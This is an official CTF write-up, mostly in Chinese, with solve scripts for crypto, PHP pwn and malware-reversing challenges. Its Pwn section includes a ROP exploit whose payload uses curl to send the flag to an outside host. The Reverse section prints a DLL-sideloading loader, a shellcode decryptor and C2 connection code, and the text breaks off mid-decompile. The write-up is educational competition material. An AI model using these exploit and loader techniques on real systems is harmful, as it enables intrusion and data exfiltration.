THJCC CTF 2026 Official Writeup by whale120

Before all

默默的這比賽也辦到第三屆了,看了多少有點感動 XD
不免俗地介紹一下,這是希望可以作為新手(尤其高中生)第一次接觸 CTF 解題的入門比賽!(嗎?
怎麼說呢,現在的 CTF 圈生態因為 LLM 的氾濫幾乎導致一個什麼都不會,只會開 Agent 的選手之解題能力能與程度不錯的選手旗鼓相當,這也導致現在想要透過單純的 “解題成績” 來區分選手並進行排名困難重重,我也很擔心一些新起之秀會因此喪失學習的熱忱與成就感!
為此我這次重新跳下來設計了一系列 Crypto 問題,他們跨足最基礎的 Python 特性, MD5 Collision 一路到 Isogenies Path Problem,誠實說有些題目放在那個一年前我還只需要往這邊丟個基礎 LLL 線性方程作為 Insane 大家就束手無策的年代一定十分的超綱,但還是會鼓勵一般的選手可以透過 LLM 以及網路做更快的資料整理/學習並解題。
接下來的內容是我對於這場比賽我出的題目之官方 Writeup,希望你喜歡。

Crypto

676767

一道 nc 題,主邏輯在這邊:
簡單來說就是會先生成一個 random 時拿來當亂數種子的 seed,給你十個 random.getrandbits(256),後面可以對 seed 做一個線性變換然後必須猜中 random.randrange(new seed) 的值連續十次,其中不可以維持原本的數字或者變成 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import random
from flags import flag

base = 86844066927987146567678238756515930889952488499230423029593188005934867676767
seed = random.getrandbits(6767)
random.seed(seed)

for i in range(10):
print("<", random.getrandbits(256))


a = int(input("a>"))
b = int(input("b>"))

if a==0 or a==1:
print("[-] bad hacker")
exit()

random.seed(a*seed + b)

for i in range(10):
cur = int(input("> "))
if random.randrange(base) != cur:
print("[-] byebye")
exit()

print("[+]", flag)

基本上這題絕對是一道很新手友善的題目,但這些 feature 問 ai 好像也得多問個幾次(?)
首先注意到這段程式碼:(Python Random 庫對 seed 的處理)
https://github.com/python/cpython/blob/main/Modules/_randommodule.c#L321C13-L321C30

或者說 Twitter 以及各大資訊社群好像都有機會看到過類似貼文
https://x.com/karpathy/status/1998236299862659485

會知道 Python random.seed 函數對傳入的參數會取絕對值,所以其實 a 輸入 -1,b 輸入 0 就可以讓 Random 內部的狀態跟剛剛一樣,爾後其實觀察一下 https://github.com/python/cpython/blob/main/Lib/random.py#L245 就會知道 Python 的 randrange 函數取法是 getrandbits 取該長度後判斷是否大於給定的 range 值,而我給的 base 大概有一半的機率會通過檢查(因為他 leading bits 蠻多 1),所以基本上就是把剛剛得到的十個輸出再依次填入,爆破 1000 次左右應該就能順利通過了。

Proof 100

一樣是 nc 題,一開始有個 seed 會公開出來,後面都要用他做任意訊息 RSA 簽名
可以控制的參數就是一開始可以提供一個 Key 當作 salt(前綴) 取 MD5 再丟去 RSA Sign,他會給出結果。
再來就是 Challenge,你必須在不使用前面使用過的所有 Key 的情況下想辦法偽造簽章值。
最後要回答出使用的公鑰 N 的 Euler Totient phi 才可以拿到 Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flags import flag
from Crypto.Util.number import *
from hashlib import md5
import os

p, q = getPrime(64), getPrime(64)
e = 0x10001
N = p * q
d = pow(e, -1, (p-1)*(q-1))

seed = os.urandom(16)

def sign(msg):
global d, N
m = bytes_to_long(md5(msg).digest())
return pow(m, d, N)

used_keys = []
print(f"SEED: {seed.hex()}")
print(f"{e=}")

for i in range(100):
print("My turn owo")
cur_key = bytes.fromhex(input("key:"))
print(sign(cur_key+seed))
used_keys.append(cur_key)
print("Your turn ^w^")
cur_key = bytes.fromhex(input("key:"))
if cur_key in used_keys:
print("Can u be more creative LOL")
exit()

proof = int(input("proof:"))
if proof != sign(cur_key+seed):
print("Sorry u didn't proof anything ...")
exit()
used_keys.append(cur_key)
print("PASS!")

phi = int(input("phi?"))

if phi != (p-1)*(q-1):
print("FAILED at LAST haha")
exit()

print("Well done", flag)

基本上這邊用的是一個 MD5 Feature,因為 MD5 Hash 的計算方法是前一個 Block 作為 state 去計算下一塊 block 的內容,所以對於 Collision Pair (X1, X2)
我們有
當 $MD5(X1)=MD5(X2)$
$MD5(X1||S)=MD5(X2||S)$

再來因為我們沒有 N 所以要將前面的結果取 GCD 後拿到 N,因為 $hash\space^e-hash \equiv 0 (mod N)$。

最後就是因為 p, q 過小,都只有 64 bits 所以不論用 sympy, sage 的 factor 或者一些常見的算法應該都算好拆開

附上團隊驗題 jackoha 的 solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from sage.all import *
from pwn import *
from hashlib import md5
from Crypto.Util.number import *


def solve():
coll1 = bytes.fromhex("4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2")
coll2 = bytes.fromhex("4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2")

r.recvuntil(b"SEED: ")
seed = bytes.fromhex(r.recvline().strip().decode())
r.recvuntil(b"e=")
e = int(r.recvline().strip())

log.info(f"Seed : {seed.hex()}")
log.info(f"e : {e}")

N = 0
d = 0
p = 0
q = 0

for i in range(100):
r.recvuntil(b"My turn owo")

if i == 0:
r.sendlineafter(b"key:", coll1.hex().encode())

s1 = int(r.recvline().strip())

m1 = bytes_to_long(md5(coll1 + seed).digest())

r.recvuntil(b"Your turn ^w^")
r.sendlineafter(b"key:", coll2.hex().encode())
r.sendlineafter(b"proof:", str(s1).encode())

saved_s1 = s1
saved_m1 = m1

elif i == 1:
key_my = b"A"
r.sendlineafter(b"key:", key_my.hex().encode())

s2 = int(r.recvline().strip())
m2 = bytes_to_long(md5(key_my + seed).digest())

val1 = pow(saved_s1, e) - saved_m1
val2 = pow(s2, e) - m2


possible_N = gcd(val1, val2)
N = possible_N
while N % 2 == 0: N //= 2
while N % 3 == 0: N //= 3

log.success(f"N : {N}")


factors = list(factor(N))
p = int(factors[0][0])
q = int(factors[1][0])

log.success(f"p : {p}, q : {q}")

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
log.success(f"d : {d}")

key_your = b"B"
r.recvuntil(b"Your turn ^w^")
r.sendlineafter(b"key:", key_your.hex().encode())

proof = pow(bytes_to_long(md5(key_your + seed).digest()), d, N)
r.sendlineafter(b"proof:", str(proof).encode())

else:
r.sendlineafter(b"key:", f"R{i}".encode().hex().encode())
r.recvline()

r.recvuntil(b"Your turn ^w^")
cur_key = f"Check{i}".encode()
r.sendlineafter(b"key:", cur_key.hex().encode())

proof = pow(bytes_to_long(md5(cur_key + seed).digest()), d, N)
r.sendlineafter(b"proof:", str(proof).encode())

r.recvuntil(b"PASS!")

phi = (p - 1) * (q - 1)
r.sendlineafter(b"phi?", str(phi).encode())

r.interactive()


if __name__ == "__main__":
r = remote('localhost', 48763)
solve()

Bit by Bit

題目蠻簡單的,簡單說就是要判斷每一次 RSA 加密的時候使用的明文是不是在其他組公鑰也出現過,因為當今天 loop 跑過去的時候 1 的值都對應相同密文,但 0 的時候大家不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
from flags import flag
import os, json

flag = flag.replace(b'THJCC{', b'').replace(b'}', b'')
assert len(flag) == 105, 'womp'
key = os.urandom(500)

def enc(msg):
p, q = getPrime(32), getPrime(32)
N = p * q
e = 0x10001
return [pow(bytes_to_long(msg), e, N), N]

output_data = []

for i in ''.join([format(b, '08b') for b in flag]):
if i == '1':
output_data.append(enc(key))
elif i == '0':
output_data.append(enc(os.urandom(500)))

with open('output.txt', 'w') as f:
json.dump(output_data, f)

基本上因為 key 的大小明顯比 RSA 公鑰大太多,要多取幾組做 CRT(廣播攻擊那個)才可以 LEAK 出來 … 但我在這堆數字中偏偏摻雜了很多的雜訊!

就是一個很經典的 CRT with Errors 問題,簡單來說,對於 Mod N 的一個多項式,有一種叫做 Coppersmith’s Method 的東西在 Mod N 的一些小因數的情況下找出特定的小根 x

想知道更多我以前寫過一篇簡筆(link)

那這樣的問題解法就是,先把所有的參數都塞進去做 CRT,這時候我們拿到的數字 $C$ 將滿足 $C-x \space \equiv 0 \space (mod\space N’)$ 對於所有 bit 是 1 時採用的公鑰相乘的結果 $N’$,也就是 $N$ 的小因數,而 x 就是那個 key

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *
import json

with open('output.txt', 'r') as f:
datas = json.load(f)

cs = []
Ns = []

def get_flag(key):
flag = 0
global cs, Ns
for i in range(len(cs)):
if int(bytes_to_long(key)) % Ns[i] == int(cs[i]):
flag += 1
if i!=len(cs)-1:
flag *= 2
print(long_to_bytes(flag))

for cur_data in datas:
cur_N = cur_data[1]
cur_c = cur_data[0]
cur_d = pow(0x10001, -1, euler_phi(cur_N))
Ns.append(cur_N)
cs.append(int(pow(cur_c, cur_d, cur_N)))

R=crt(cs, Ns)
N = 1

for i in Ns:
N*=i

P.<x> = PolynomialRing(Zmod(N))
f = x-R

for i in range(30, 70):
key = f.small_roots(beta=i/100)
print(i)
if len(key)>0:
cur_key = long_to_bytes(int(key[0]))
print(cur_key, len(cur_key))
print(get_flag(cur_key))

0 login

JWT RS256,目標是 Fake Token

1
2
3
4
5
6
7
8
def generate_parameter_p(bits, D=7331):
while True:
s = number.getRandomNBitInteger(bits // 2)
p_val = (D * (s**2) + 1)
if p_val % 4 == 0:
p = p_val // 4
if number.isPrime(p):
return p

這是生成其中一個質數的方法

首先對於 JWT Token 在 RS256 下是可以透過取得多組 tokens 來洩漏公鑰的,做法一樣是 GCD
上 Github 翻應該有很多這類型的工具:
https://github.com/FlorianPicca/JWT-Key-Recovery

再來就是這個質數生成方法,其實這題比較想考大家查論文或者透過 AI 縮小問題範圍的功力 XD
簡言之有一種叫做 Cheng’s 4p-1 Factorization 的攻擊可以進行,他的做法就是將運算抬到一種叫做 Hilbert 多項式的 Ring 上(因為 4p-1 滿足了一些特定結構),最後看誰在 Mod N 下逆推不了就知道它包含剛剛那個質數 p,取多項式 GCD 就可以解出質數 p (感覺很像在 Mod N 下 p 沒有模逆元)。可能還會需要構造特定的 Curve 去做運算再重新取 Division polynomials。
不過這些數學我覺得實在不需要在這邊進行贅述,有興趣ㄉ自己去翻論文吧 XD(這絕對不在正常高中/大學數學範圍內)
相關的腳本網路上其實找的到
附上一個:https://github.com/pwang00/Cryptographic-Attacks/blob/master/Public%20Key/Factoring/cm_factor.sage
偏新的 RSA Backdoor(?) 2019 年的

I Sogo 你了喔!

Sogo 台灣人的諧音梗了、、、

理論上他應該是 Crypto 項目魔王題
哇,快速在不提及抽象代數的情況下簡介一下 Isogenies Path/SIDH 的一些東西
簡單來說:
Isogeny?就是保持群加法結構不被破壞的映射($\phi(P)+\phi(Q) = \phi(P+Q)$),其中 kernel 代表被映射過去會等於 0 的點,這種映射是雙線性的
而在進行 SIDH 類通訊的時候,我們會挑選一個曲線他的 order 是模(質)數 p 大一的 p+1(如果有體擴張要取次方,通常在這種密碼學裡面是平方),這類曲線叫做 supersingular curve
因為他們在進行 Isogenies 變換時產生的轉換圖是不規則地,如下,其中他們共享的秘密就是某一條走訪的路徑(CSIDH) 或者 利用雙線性和 Kernel 相同,最終都會到同一張 n-isogenies graph 的特性走到同一個的曲線 (SIDH,本題示範)
image

怎麼換呢?
通常是選定一個 n-torsion point ([n]P=0) 作為 Kernel 傳送出去,其中 n 會是 p+1 的一個因數,而這時候 kernel 群的大小會是 n (蠻好理解的,$\phi(P)=0\rightarrow \phi([2-N]P)=0$)

不過怎麼換也有細節,這是 SIDH 的作法:
這邊假設 Prime 是 $2^{ea} + 3^{eb}$
然後我們有個 supersingular curve E,我們有 $2^{ea}$ torsion E[$2^{ea}$] 下的 Bases (P2, Q2) 和 $3^{eb}$ torsion E[$3^{eb}$] 下的 Bases (P3, Q3)

Alice 拿 secret sA 去算 Kernel $P2+sA \times Q2$ 然後做 isogeny,然後這個 isogeny 叫做 $\phi_A$,再把 $\phi_A(P3), \phi_A(Q3)$ 丟出來當作公鑰
Bob 會再去計算把 EA isogeny 到 $3^{eb}$ 上,取的點是 $\phi_A(P3) + sB \times \phi_A(Q3)$,最後因為

  • isogeny 保持加法同構,又 kernel 可看作同一顆
  • 他們 domain 相同

所以變成同構,j-invarient 相同!

SIDH 已經被破解了,是一種叫做 Wouter Castryck Attack 的東西,是透過 $\phi_A(P3), \phi_A(Q3)$ 這些點洩漏的額外訊息做內容還原的
但在這題中我改變了兩件事

  1. 不公開變換後的點,只給開始曲線和結尾曲線
  2. 我的交換密鑰是從曲線 E0 走到 Eab 的路徑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import os

ea, eb = 13, 7

p = 2**ea * 3**eb - 1
K.<i> = GF(p**2, modulus=x**2 + 1)

E0 = EllipticCurve(K, [0, 6, 0, 1, 0])

def get_isogeny_chain(E, l, e, secret):
curr_E = E
phis = []
for i in range(e):
P, Q = curr_E.torsion_basis(l**(e-i))
kernel_pt = (P + secret * Q) * l**(e-i-1)
phi = curr_E.isogeny(kernel_pt)
phis.append(phi)
curr_E = phi.codomain()
return curr_E, phis

def push_point(phi_list, P):
curr_P = P
for phi in phi_list:
curr_P = phi(curr_P)
return curr_P

sa = randint(0, 2**ea - 1)
sb = randint(0, 3**eb - 1)

Ea, phis_a = get_isogeny_chain(E0, 2, ea, sa)
Eab, phis_b = get_isogeny_chain(Ea, 3, eb, sb)

P_pub = E0.random_element()
P_priv = push_point(phis_b, push_point(phis_a, P_pub))

shared_x = P_priv.xy()[0]
key = hashlib.sha256(str(shared_x).encode()).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = b"THJCC{TEST_ME}"
ciphertext = iv + cipher.encrypt(pad(flag, 16))

print(f"E0: {E0.a_invariants()}")
print(f"Eab: {Eab.a_invariants()}")
print(f"P_pub: {P_pub.xy()}")
print(f"ciphertext: {ciphertext.hex()}")

# Output~
'''
E0: (0, 6, 0, 1, 0)
Eab: (0, 6, 0, 11067381*i + 1118198, 8021433*i + 1906048)
P_pub: (8959148*i + 2448181, 10026959*i + 706144)
ciphertext: 1aca81de78c79d95adc0b14f4dfb3c8121f900896c4ddd05fba6070f12f9a5ce94782503d5f8343ea8d237ea1eb13e76464a88cd4992fcad27e11af22b3fcd1a
'''

這題看上去其實最大的問題就是參數過小,導致張成的 isogeny graph 其實是可以被暴力搜索的(BFS/DFS)
那又有一種更好的做法是,先從頭枚舉完成 2-isogeny graph 再反過來枚舉完 3-isogeny graph,最後取相交的點還原所有路徑(也就是 MitM 攻擊)
另外其實不需要儲存整條曲線的資訊,可以取 j-invariant 就好
剩下怎麼走訪,怎麼枚舉,就留給真正有興趣的花時間去研究啦~那已經不是初等數學或簡單的概念能解釋的了 qq
讓 AI 幫我整理了一下破破的 Exploit XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from sage.all import *
from Crypto.Cipher import AES
import hashlib

# --- 1. 環境設定 ---
ea, eb = 13, 7
p = 2**ea * 3**eb - 1
K.<i> = GF(p**2, modulus=x**2 + 1)
R.<y> = PolynomialRing(K)


# Output~
'''
E0: (0, 6, 0, 1, 0)
Eab: (0, 6, 0, 11067381*i + 1118198, 8021433*i + 1906048)
P_pub: (8959148*i + 2448181, 10026959*i + 706144)
ciphertext: 1aca81de78c79d95adc0b14f4dfb3c8121f900896c4ddd05fba6070f12f9a5ce94782503d5f8343ea8d237ea1eb13e76464a88cd4992fcad27e11af22b3fcd1a
'''
E0_inv = (0, 6, 0, 1, 0)
Eab_inv = (0, 6, 0, 11067381*i + 1118198, 8021433*i + 1906048)
P_pub_coords = (8959148*i + 2448181, 10026959*i + 706144)
ciphertext_hex = "1aca81de78c79d95adc0b14f4dfb3c8121f900896c4ddd05fba6070f12f9a5ce94782503d5f8343ea8d237ea1eb13e76464a88cd4992fcad27e11af22b3fcd1a"

E0 = EllipticCurve(K, E0_inv)
Eab = EllipticCurve(K, Eab_inv)
P_pub = E0(P_pub_coords)

Phi2 = classical_modular_polynomial(2)
Phi3 = classical_modular_polynomial(3)

def get_all_next_js(Phi, jc):
"""允許回頭路,獲取所有鄰居"""
f = Phi(jc, y)
return [r for r, _ in f.roots()]

# --- 2. 精確深度搜尋 (允許回頭路) ---
def build_full_tree(start_j, Phi, depth):
# tree[d][curr_j] = [prev_js]
tree = {d: {} for d in range(depth + 1)}
tree[0][start_j] = [None]

curr_nodes = [start_j]
for d in range(depth):
next_nodes = []
for jc in curr_nodes:
neighbors = get_all_next_js(Phi, jc)
for jn in neighbors:
if jn not in tree[d+1]:
tree[d+1][jn] = []
next_nodes.append(jn)
tree[d+1][jn].append(jc)
curr_nodes = next_nodes
return tree

print(f"[*] 正在執行全路徑搜尋 (允許回頭路, ea={ea}, eb={eb})...")
tree_a = build_full_tree(E0.j_invariant(), Phi2, ea)
tree_b = build_full_tree(Eab.j_invariant(), Phi3, eb)

intersections = set(tree_a[ea].keys()) & set(tree_b[eb].keys())
print(f"[*] 發現 {len(intersections)} 個在精確深度重合的交點")

# --- 3. 路徑還原 ---
def get_paths_recursive(tree, depth, curr_j):
if depth == 0:
return [[curr_j]]
all_p = []
for prev_j in tree[depth][curr_j]:
for p in get_paths_recursive(tree, depth - 1, prev_j):
all_p.append(p + [curr_j])
return all_p

def push_point_exhaustive(P, j_path, l):
candidates = [P]
for k in range(len(j_path) - 1):
target_j = j_path[k+1]
next_gen = []
for p in candidates:
for phi in p.curve().isogenies_prime_degree(l):
if phi.codomain().j_invariant() == target_j:
next_gen.append(phi(p))
# 依據座標去重,但必須保留正負 y 的可能性
unique = {pt.xy(): pt for pt in next_gen}
candidates = list(unique.values())
return candidates

# --- 4. 爆破解密 ---
ct_bytes = bytes.fromhex(ciphertext_hex)
iv, ct = ct_bytes[:16], ct_bytes[16:]

for j_int in intersections:
print(f"[*] 嘗試交點 {j_int}")
paths_a = get_paths_recursive(tree_a, ea, j_int)
paths_b_rev = get_paths_recursive(tree_b, eb, j_int)

for pa in paths_a:
pts_ea = push_point_exhaustive(P_pub, pa, 2)
for pb_from_eab in paths_b_rev:
pb = pb_from_eab[::-1] # 反轉成 Ea -> Eab
for p_ea in pts_ea:
pts_final = push_point_exhaustive(p_ea, pb, 3)
for pf in pts_final:
# 同構修正
iso = pf.curve().isomorphism_to(Eab)
p_correct = iso(pf)

for cand in [p_correct, -p_correct]:
sx = cand.xy()[0]
key = hashlib.sha256(str(sx).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
dec = cipher.decrypt(ct)

if b"THJCC" in dec:
print(f"\n[!] 成功!")
print(f"Flag: {dec[:-dec[-1]].decode()}")
exit()

Pwn

Baby PHP

真的就是一個不需要懂 PHP 的寶寶 PHP Pwn 題,我還多塞了很多好用的 gadget 給大家讓大家不需要解太久,就是用最少的知識體驗一次 PHP Pwn!但解題人數還是比想像中少好多
自己撰寫了一個 so 檔案掛載到 PHP
whalecrypt.so decompile 結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

void __cdecl zif_whale_encrypt(zend_execute_data *execute_data, zval *return_value)
{
int v2; // edx
char buffer[64]; // [rsp+10h] [rbp-B0h] BYREF
size_t enc_len; // [rsp+50h] [rbp-70h] BYREF
char *enc; // [rsp+58h] [rbp-68h] BYREF
zend_value v6; // [rsp+60h] [rbp-60h]
int v7; // [rsp+6Ch] [rbp-54h]
__int64 v8; // [rsp+70h] [rbp-50h]
__int64 v9; // [rsp+78h] [rbp-48h]
char v10; // [rsp+87h] [rbp-39h]
size_t v11; // [rsp+88h] [rbp-38h]
char v12; // [rsp+97h] [rbp-29h]
size_t n; // [rsp+98h] [rbp-28h]
void *src; // [rsp+A0h] [rbp-20h]
zval *__z; // [rsp+B0h] [rbp-10h]
size_t i; // [rsp+B8h] [rbp-8h]

enc = 0;
if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &enc, &enc_len) != -1 )
{
memcpy(buffer, enc, enc_len);
for ( i = 0; i < enc_len; ++i )
buffer[i] ^= 0x78u;
__z = return_value;
src = buffer;
n = enc_len;
v12 = 0;
v11 = enc_len;
v10 = 0;
v9 = _emalloc((enc_len + 32) & 0xFFFFFFFFFFFFFFF8LL);
v8 = v9;
v7 = 1;
*(_DWORD *)v9 = 1;
if ( v10 )
v2 = 150;
else
v2 = 22;
*(_DWORD *)(v9 + 4) = v2;
*(_QWORD *)(v9 + 8) = 0;
*(_QWORD *)(v9 + 16) = v11;
v6.lval = v9;
memcpy((void *)(v9 + 24), src, n);
*(_BYTE *)(v6.lval + n + 24) = 0;
__z->value = v6;
__z->u1.type_info = 262;
}
}

PHP 程式碼免費送了一個 LFI 和執行一次 whalecrypt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

if (isset($_GET['f'])){
echo file_get_contents($_GET['f']);
}

if (isset($_GET['txt'])){
echo "[+] Encrypting (length: " . strlen($_GET['txt']) . ")...\n";
ob_start();
$res = whale_encrypt($_GET['txt']);
$out = ob_get_contents();
ob_end_clean();
echo "[+] Result length: " . strlen($res) . "\n";
echo "[+] Result:".$res;
}
?>

簡言之這題就兩個知識點

  1. 你可以透過讀取 /proc/self/maps 去 leak 個記憶體段 mapping
  2. ROP

給的 so 檔案有個明顯的 memcpy 導致無限量 BOF,剩下唯一的問題是不可以亂蓋東西,因為會蓋掉 for loop 中的界(enc_len)和遍歷變數(i)
我的作法是全部蓋成 0,最簡單,另外其實可以透過蓋掉 index 來進行 OOB R/W 導致其實 LFI 的漏洞不需要被使用

最後甚至可以直接利用 ROPGadget 自動化的 --ropchain 選項快速撰寫和找出大部分 gadget 以及 bss 段位置,最後我選擇直接改成跳 system 就好 XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

php_base = 0x555555554000
whalecrypt_base = 0x7ffff5423000
data_segment = php_base + 0x547000

pop_rdi_ret = php_base + 0xf0cd1
pop_rsi_ret = php_base + 0xea37c
pop_rax_ret = php_base + 0xf5fe8
mov_rsi_rax_ret = php_base + 0x124aef
ret_gadget = php_base + 0x0ea37d

system_addr = whalecrypt_base + 0x1140

p = b''

command = b"curl https://bot.whale-tw.com/`/getflag`;id \x00"

# Write
for i in range(0, len(command), 8):
chunk = command[i:i+8].ljust(8, b'\x00')
p += p64(pop_rsi_ret)
p += p64(data_segment + i)
p += p64(pop_rax_ret)
p += chunk
p += p64(mov_rsi_rax_ret)

# RDI
p += p64(pop_rdi_ret)
p += p64(data_segment)

# Stack Alignment
p += p64(ret_gadget)

# system
p += p64(system_addr)


payload = bytes([0]*176)
payload += b'b'*8 # Saved RBP
payload += p

def bytes_to_url_encode(data: bytes):
return "".join(f"%{b:02X}" for b in data)

print(bytes_to_url_encode(payload))

Reverse

Baby Malware

就是一個寶寶的 Malware 題,帶大家看 sideload 技術和動態(事實上我是靜態啦)解殼,意外地很少人解出來呢 XD
解壓縮檔案後
link: https://drive.google.com/file/d/1fspSO8Ynznr4xCd-iTGwoQvk-L7YQtSn/view?usp=drive_link
直覺會發現 ffmpeg.dll 檔案過小,這時候其實點進去會發現它好像只是個 DLL Proxy
但是它的 StartAddress 其實有塞髒東西,典型的載入一個 blob 檔案 (snapshot_blob.bin)(事實上,它其實是 chrome/electron app 會有的正常路徑),解密然後執行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall StartAddress(LPVOID lpThreadParameter)
{
HMODULE ModuleHandleA; // rax
__int64 v3; // [rsp+30h] [rbp-158h]
SIZE_T dwSize; // [rsp+38h] [rbp-150h]
const __m128i *v5; // [rsp+40h] [rbp-148h]
__m128i *lpStartAddress; // [rsp+48h] [rbp-140h]
HANDLE hObject; // [rsp+50h] [rbp-138h]
CHAR Filename[272]; // [rsp+60h] [rbp-128h] BYREF

ModuleHandleA = GetModuleHandleA(ModuleName);
GetModuleFileNameA(ModuleHandleA, Filename, 0x104u);
PathRemoveFileSpecA(Filename);
sub_1800109D0(Filename, aSnapshotBlobBi);
v3 = sub_180004728(Filename, aRb);
if ( !v3 )
return 0;
sub_180004CEC(v3, 0, 2);
dwSize = (int)sub_1800052AC(v3);
sub_180004CEC(v3, 0, 0);
v5 = (const __m128i *)sub_180004440(dwSize);
if ( v5 )
{
sub_1800049A0(v5, dwSize, 1, v3);
sub_1800045D4(v3);
sub_180001040(v5, dwSize);
lpStartAddress = (__m128i *)VirtualAlloc(0, dwSize, 0x3000u, 0x40u);
if ( lpStartAddress )
{ sub_18000FF80(lpStartAddress, v5, dwSize);
hObject = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, 0, 0, 0);
if ( hObject )
CloseHandle(hObject);
}
return 0;
}
else
{
sub_1800045D4(v3);
return 0;
}
}

解密函數在這邊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall sub_180001040(const __m128i *a1, unsigned __int64 a2)
{
  unsigned __int8 v3; // [rsp+20h] [rbp-38h]
  unsigned __int64 i; // [rsp+28h] [rbp-30h]
  __m128i *lpMem; // [rsp+30h] [rbp-28h]
  unsigned __int64 v6; // [rsp+40h] [rbp-18h]

  v6 = sub_180010B40((__int64)aFfmpegAvBuffer);
  lpMem = (__m128i *)sub_180004440(a2);
  sub_18000FF80(lpMem, a1, a2);
  for ( i = 0; i < a2; ++i )
  {
    if ( i )
      v3 = lpMem->m128i_i8[i - 1] ^ lpMem->m128i_i8[i];
    else
      v3 = lpMem->m128i_i8[0] ^ 0xAA;
    a1->m128i_i8[i] = aFfmpegAvBuffer[i % v6] ^ (sub_180001000(v3, 3) - i);
  }
  return sub_180004430(lpMem);
}

另外可提取密鑰是 ffmpeg.av_buffer_create,proxy 去了 vulkan-1.dll,也可以透過網路上比對 hash 發現 vulkan-1.dll 才是 ffmpeg.dll

dec.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def ror8(val, count):
val &= 0xFF
return ((val >> count) | (val << (8 - count))) & 0xFF

def decrypt_shellcode(encrypted_data):
key = b"ffmpeg.av_buffer_create"
key_len = len(key)
decrypted = bytearray(len(encrypted_data))

for i in range(len(encrypted_data)):
if i == 0:
v3 = encrypted_data[0] ^ 0xAA
else:
v3 = encrypted_data[i-1] ^ encrypted_data[i]

v3_rotated = ror8(v3, 3)
temp_val = (v3_rotated - i) & 0xFF

decrypted[i] = key[i % key_len] ^ temp_val

return decrypted

try:
with open("snapshot_blob.bin", "rb") as f:
cipher_text = f.read()

plain_text = decrypt_shellcode(cipher_text)

with open("decrypted_shellcode.bin", "wb") as f:
f.write(plain_text)
print("解密完成!檔案已儲存為 decrypted_shellcode.bin")
except FileNotFoundError:
print("錯誤:找不到 snapshot.blob 檔案。")

解密後拿到 dll 發現也沒在藏,直接追 StartAddress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __fastcall StartAddress(LPVOID lpThreadParameter)
{
  int v2; // eax
  int v3; // [rsp+20h] [rbp-608h]
  SOCKET s; // [rsp+28h] [rbp-600h]
  _SYSTEMTIME SystemTime; // [rsp+48h] [rbp-5E0h] BYREF
  sockaddr name; // [rsp+58h] [rbp-5D0h] BYREF
  WSAData WSAData; // [rsp+70h] [rbp-5B8h] BYREF
  char v8[1024]; // [rsp+210h] [rbp-418h] BYREF

  GetLocalTime(&SystemTime);
  if ( SystemTime.wYear > 0x7EAu
    || SystemTime.wYear == 2026 && SystemTime.wMonth > 1u
    || SystemTime.wYear == 2026 && SystemTime.wMonth == 1 && SystemTime.wDay >= 9u )
  {
    return 0;
  }
  if ( GetFileAttributesA("lab313d.txt") == -1 )
    return 0;
  if ( WSAStartup(0x202u, &WSAData) )
    return 0;
  s = socket(2, 1, 6);
  if ( s != -1 )
  {
    name.sa_family = 2;
    *(_WORD *)name.sa_data = htons(0xEE36u);
    inet_pton(2, "45.77.20.255", &name.sa_data[2]);
    if ( connect(s, &name, 16) != -1 )
    {
      v2 = sub_180010A80((__int64)"ChipyChipyCall");
